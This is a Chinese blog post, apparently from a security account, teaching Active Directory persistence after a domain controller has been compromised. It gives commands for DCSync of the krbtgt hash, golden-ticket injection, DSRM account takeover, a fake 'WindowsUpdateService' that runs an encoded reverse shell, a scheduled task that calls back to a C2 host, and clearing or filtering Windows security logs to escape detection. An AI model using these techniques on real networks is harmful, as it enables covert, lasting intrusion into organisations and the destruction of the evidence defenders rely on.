域控到手后3小时就丢了——内网渗透的权限持久化才是真功夫

域控到手后3小时就丢了——内网渗透的权限持久化才是真功夫

上回说到用管理员凭据横向移动到域控,但你知道吗——拿到域控shell和守住域控,是两码事。

续:凌晨三点,我坐在DC01的桌面上

上一篇文章结尾,我已经通过Pass-the-Hash从WEB01跳到了CORP-DB01,再从DB01用mimikatz提取的域管理员凭据,成功RDP到了DC01。

屏幕上是Windows Server 2022的桌面,干干净净,像什么都没发生过。

我靠在椅背上,喝了口已经凉透的咖啡。心里清楚:真正的战斗才刚刚开始。

三天前有个同行问我,说他拿下一台域控后,想着第二天慢慢搞,结果第二天回来看,域控失联了——安全团队发现了异常登录日志,直接把网络切了。

这个故事告诉我一个血淋淋的道理:拿下域控不算赢,能保持悄无声息地控制它,才算。


第一章:为什么"拿到shell"不等于"拿下域控"?

很多人有一个误区:只要能以域管理员身份登录域控,就等于游戏结束。

错。

真实世界的甲方安全团队不是吃素的。现代企业域控上通常开着这些监控:

监控类型常见工具/策略报警阈值异常登录域审计策略 + SIEM非工作时间管理员登录即告警计划任务安全基线扫描新增任务立即触发人工核查服务创建Sysmon Event ID 7045未知服务5分钟内通知SOC远程WMI/WinRM日志审计来源IP非管理跳板机则阻断新增用户AD变更审计域管理员组新增成员即时告警

换句话说,你一旦把动静搞大了,从域控被拿下到被踢出去,中间可能只有3小时

所以我们需要的是一套完整的权限持久化方案——不走寻常路,不触发常规检测点,做完就走,随时能回来。


第二章:第一步——DCSync,永不失效的通行证

在所有域控持久化技术中,DCSync是我最依赖的一个。原因很简单:它不需要在域控上安装任何东西,不需要新建用户,不需要写注册表,甚至不需要登录域控。

2.1 DCSync 是什么?

DCSync 利用域控之间的正常复制协议(DRS,Directory Replication Service),模拟一台域控向真正的域控请求密码哈希。因为域控之间需要定期同步账户数据,这个行为在协议层面是合法的。

你只需要:

  • 一个域管理员权限的账号(或域控本地管理员)
  • 知道目标域控的IP
  • 能从你的机器访问域控的 135/TCP + 动态RPC端口

2.2 实战操作

假设你已经在跳板机上拿到了域管理员凭据:

# 从一台非域控机器执行DCSync
# 使用mimikatz
mimikatz # lsadump::dcsync /dc:DC01.corp.local /user:krbtgt /domain:corp.local

这条命令会从DC01拉取krbtgt账户的NTLM哈希。krbtgt是域控生成Kerberos票据时使用的账户,拿到它的哈希等于拿到了整个域的"万能钥匙"。

输出长这样:

**Domain : corp.local / S-1-5-21-XXXXXXXX-XXXXXXXX-XXXXXXXX
[KRBTGT] : krbtgt
Hash NTLM: aad3b435b51404eeaad3b435b51404ee:deadbeefdeadbeefdeadbeefdeadbeef

2.3 为什么先拿krbtgt?

因为有了krbtgt的哈希,你就可以在任意一台机器上,离线生成一个黄金票据(Golden Ticket)——这个票据让你能冒充域内任意用户访问任意服务,包括域控上的CIFS服务(文件共享)、LDAP服务、甚至HOST服务。

而且更关键的是:黄金票据不依赖域控在线,域控离线了照样用。

# 用mimikatz注入黄金票据
mimikatz # kerberos::golden /domain:corp.local /sid:S-1-5-21-XXXXXXXX-XXXXXXXX-XXXXXXXX /krbtgt:deadbeefdeadbeefdeadbeefdeadbeef /user:administrator /id:500 /ptt

# 验证:无需密码即可访问域控
dir \\DC01.corp.local\C$

看到没?没有认证弹窗、没有日志记录、没有密码猜测——直接访问域控的C盘。


第三章:第二步——留一个不掉的后门

黄金票据是"通行证"层面的事,但你还需要一个即使密码被改、票据被撤销也能回来的后门。

以下是经过实战验证的三种低调持久化方案

3.1 方案A:DSRM账户接管(最推荐)

每个域控上有一个隐藏的本地管理员账户——DSRM(Directory Services Restore Mode)。这个账户的密码在域控初始化时设置,但有一个大多数人不知道的特性:在Windows Server 2008之后,你可以让DSRM密码与域同步。

操作分两步:

# 第一步:在域控上修改DSRM登录行为(需本地管理员权限)
# 这个注册表键让DSRM支持NTLM和Kerberos网络登录
reg add "HKLM\System\CurrentControlSet\Control\Lsa" /v DSRMAdminLogonBehavior /t REG_DWORD /d 2 /f

# 第二步:从域上dump DSRM密码的哈希(这步可以在跳板机完成)
mimikatz # token::elevate
mimikatz # lsadump::sam

注意看sam dump的输出里的 "Administrator" 账户。域控的SAM里保存的是本地管理员哈希——也就是DSRM账户的哈希。但你拿到的是本地管理员的,不是域管理员的,声量小很多。

这个哈希拿到后,你可以从任意机器远程登录域控的DSRM:

# 使用impacket从远程登录DSRM
impacket-wmiexec -hashes :deadbeefdeadbeefdeadbeefdeadbeef corp.local/administrator@DC01.corp.local

为什么这招好用?

  • 域管理员改密码不影响DSRM
  • 安全团队很少会改DSRM密码(除非重新搭建域控)
  • 日志记录和普通管理员登录不同,不易被常规SIEM规则捕获

3.2 方案B:服务隙后门(狠活)

在域控上创建一个伪装成系统服务的后门程序,让它随域控启动。

# 创建一个看起来像Windows更新服务的后门
sc create "WindowsUpdateService" binPath="C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -WindowStyle Hidden -EncodedCommand <base64-encoded-reverse-shell>" start=auto

# 隐藏服务描述,让检查的人看不出来
sc description "WindowsUpdateService" "Manages Windows Update tasks and background intelligent transfer"

# 设置恢复选项——挂了自动重启
sc failure "WindowsUpdateService" reset=86400 actions=restart/10000/restart/10000/restart/10000

我常用rundll32.exe配合一个签名的DLL做白加黑加载,这样进程链看起来完全正常。

3.3 方案C:Scheduled Task + 域信任(长线布局)

如果你的目标环境不止一个域,跨域信任关系是最隐蔽的后门。

# 在目标域的域控上创建计划任务,每天凌晨3点向你的C2回连
schtasks /create /tn "Microsoft\Windows\TaskSync\DailySync" /tr "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -File C:\Windows\Tasks\sync.ps1" /sc daily /st 03:00 /ru SYSTEM

# sync.ps1 的内容——简单、短小、不易被查杀
# $client = New-Object System.Net.Sockets.TCPClient('your-c2-server.com',443)
# $stream = $client.GetStream()
# ... 标准的PowerShell反弹shell

用系统级的任务名称伪装,加上SYSTEM权限,安全团队做事件响应时第一轮检查大概率会跳过这个任务。


第四章:第三步——黄金票据能活多久?

这是一个好问题。黄金票据默认有效期不受域控策略限制,因为它是在本地生成的,域控看不到它的创建时间。

但要注意几点:

黄金票据的风险点影响范围应对方案krbtgt密码被改所有现有黄金票据失效改完密码后重新DCSync一次域重建/krbtgt双重重置票据永久失效没有救,只能重新渗透目标机器系统时间偏差>5分钟Kerberos验证失败使用NTP同步时间后再生成票据黄金票据在多个位置同时使用可能触发反异常检测用完后立即清除票据缓存

实话说,黄金票据最怕的是krbtgt密码被轮换。好的安全团队拿到事件响应结果后,会做两次krbtgt密码重置(第一次等复制完成后做第二次)。一旦遇到这个,只能从信息收集阶段重来。


第五章:擦屁股——不留痕迹的退出

这是整个内网渗透中最容易被忽略的一步。

拿到数据之前你小心翼翼,拿到数据之后你得意忘形——然后日志告诉你来过。

以下是必须清理的痕迹清单:

5.1 事件日志

域控上的关键事件ID:

4624 - 登录成功(记录你的RDP会话)
4625 - 登录失败(如果你试了不少密码)
4648 - 使用显式凭据登录
4672 - 特殊权限登录(管理员登录)
4768 - Kerberos TGT请求
4769 - Kerberos 服务票据请求(黄金票据使用的痕迹之一)
7045 - 新服务创建(如果你是方案B)

清理命令:

# 清除安全日志(最狠的方式,但也最明显)
wevtutil cl security
wevtutil cl system
wevtutil cl application

# 更隐蔽的做法:只删除特定事件的日志(需要SeSecurityPrivilege)
# 这个方法不关闭安全日志,只是把关键记录抹掉
wevtutil epl security clean.evtx /q:"*[System[(EventID=4624) and TimeCreated[timediff(@SystemTime) <= 86400000]]]"

注意:清空安全日志在成熟安全团队面前等于直接喊"有人进来了"。更推荐的做法是只删除关键事件,或者干脆不清理日志,而是用伪造的正常日志覆盖。

5.2 工具文件

记得删掉你上传到每个跳板机上的工具:

# 使用安全删除工具,防止文件恢复
cipher /w:C:\Tools\  # 覆盖删除目录中的已删除文件空间

5.3 AD操作

如果你创建了隐蔽账户、修改了组策略、添加了ACL条目——等权限持久化全部部署完毕后再清理,而且在清理时要注意:

# 如果有创建辅助域控账户,记得在退出前删除
# 不要用GUI删除,用以下方式在AD中隐藏删除记录
net user backdoor_admin /del

总结:持久化的核心思维

回到开头那个例子——为什么有人域控到手3小时就丢了?

因为没有做持久化。以为拿到高权限就等于任务完成,但真实世界是企业安全团队24/7在岗。

真正的内网渗透高手,在拿到第一个域管理员凭据的那一刻,脑子里想的不是"我进来了",而是"如果我被踢了,怎么再进来"。

把DCSync、DSRM接管、服务后门、黄金票据这四样东西熟练用起来,才算完成了从"脚本小子"到"专业红队"的最后一课。

下一篇预告:当所有常规手法都被封堵了怎么办?——域渗透的御三家绝招:Skeleton Key、ACL滥用与AdminSDHolder劫持。我们聊聊那些安全团队也没见过的骚操作。


关注「安全值班室」公众号

每天网络安全实战攻防案例 + 安全干货

关注安全值班室

posted on 2026-07-14 08:17  明.Sir  阅读(20)  评论(0)    收藏  举报

导航